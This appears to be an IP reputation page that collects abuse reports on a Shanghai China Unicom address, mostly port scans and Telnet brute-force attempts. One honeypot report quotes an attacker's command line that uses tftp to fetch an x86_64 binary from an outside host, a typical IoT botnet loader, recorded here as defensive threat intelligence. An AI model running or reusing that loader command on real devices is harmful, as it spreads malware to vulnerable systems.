223.166.157.21

Recent Activity This IP has received recent abuse reports, which causes the score to increase.
Abuse Confidence Score
70% Elevated
20 reports
18 reporters · latest 2 days ago
ISP
CHINA UNICOM Shanghai city network
Usage Type
Fixed Line ISP
ASN
AS17621
Domain Name
chinaunicom.cn
Country
🇨🇳 China
City
Shanghai, Shanghai
Log in to view charts and search reports for this IP. Log In
Example preview
Account required for the enhanced features Log in Sign up

Abuse Reports

Total reports
20 from 18 distinct reporters
First reported
Most recent report
Last 60 days
Top reporter locations 🇫🇷 France 5 🇺🇸 United States of America 5 🇳🇱 Netherlands 3
Most common categories Port Scan 16 Hacking 3 Brute-Force 3 Exploited Host 2 IoT Targeted 1
Recent reports We have received reports of abusive activity from this IP address within the last week. It is potentially still actively engaged in abusive activities.
Reporter IoA Timestamp (UTC) Comment Categories
🇫🇷 SLBCLOUD
DDoS: UDP flood to port 25571, peak 49.67 Mbps / 4.6 kpps (60s avg), 2026-11-12 17:13-17:16 UTC, observed by AS215114 SLBCLOUD (sampled flow data).
DDoS Attack
🇧🇷 ICS Labs
ICS Labs threat intelligence (ICS Feeds): Hacking, Exploited Host. Last observed 2026-11-05 UTC.
Hacking Exploited Host
🇫🇷 BGX
Honeypot: 2 Telnet login attempt(s), usernames: root; commands run: cat /proc/cpuinfo | cd /dev | rm -f q | tftp -g -r x86_64 -l q 31.56.209.86
Brute-Force IoT Targeted
🇫🇷 thecocasio
PortSentry honeypot: unsolicited TCP connection to closed decoy port 23 (Telnet) on a host running no such service. Automated port-scan detection at 2026-11-04T00:45:21Z.
Port Scan
🇹🇷 Domainhizmetleri.com
Source: DH Hunter (Honeypot) | Reason: Portscan (1 ports, 1 attempts in 480h, non-TR)
Port Scan
🇫🇷 Coco Bongo
1793695271 - 11/03/2026 09:41:11 Host: 223.166.157.21/223.166.157.21 Port: 2323 TCP Blocked ...
Port Scan
🇦🇹 urnilxfgbez
Last 24 Hours suspicious: (DPT=445|DPT=3389|DPT=22|DPT=3306|DPT=8080|DPT=23|DPT=5900|DPT=1433)
Port Scan
🇺🇸 MPL
tcp ports: 8443,5555 (4 or more attempts)
Port Scan
🇳🇱 venix
Unauthorized connection attempt detected from IP address 223.166.157.21 to port 23 (web01.amsterdam)
Brute-Force Exploited Host
🇺🇸 MPL
tcp/5555
Port Scan
🇺🇸 xmission.com
Blocked by UFW (TCP on 2323) Source port: 25224 TTL: 52 Packet length: 60 TOS: 0x00 This report (for 223.166.157.21) was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter
Port Scan
Anonymous
Port Scan Brute-Force
🇹🇼 kk_it_man
honey catch
Port Scan
🇩🇪 David Ferneding
Blocked by UFW (TCP on 2323) Source port: 60350 TTL: 52 Packet length: 60 TOS: 0x00 This report (for 223.166.157.21) was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter
Port Scan
Anonymous
Drop from IP address 223.166.157.21 to tcp-port 5555
Port Scan

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown

Recently Reported IPs:

🇬🇧 195.96.139.178
🇱🇹 62.60.134.134
🇺🇸 34.204.70.184
🇷🇴 92.118.39.71
🇩🇪 209.38.227.169
🇩🇪 157.230.27.96
🇧🇷 109.111.45.97
🇧🇩 103.41.244.87
🇬🇧 81.101.67.69
🇬🇧 35.203.210.108
🇳🇱 34.1.233.172
🇺🇸 32.200.164.83
🇨🇳 203.212.9.248
🇧🇩 103.115.158.82
🇦🇺 101.0.105.22
🇬🇧 87.236.176.160
🇳🇱 85.155.14.245
🇮🇷 37.235.18.6
🇺🇸 35.90.242.17
🇺🇸 20.118.204.38
feedback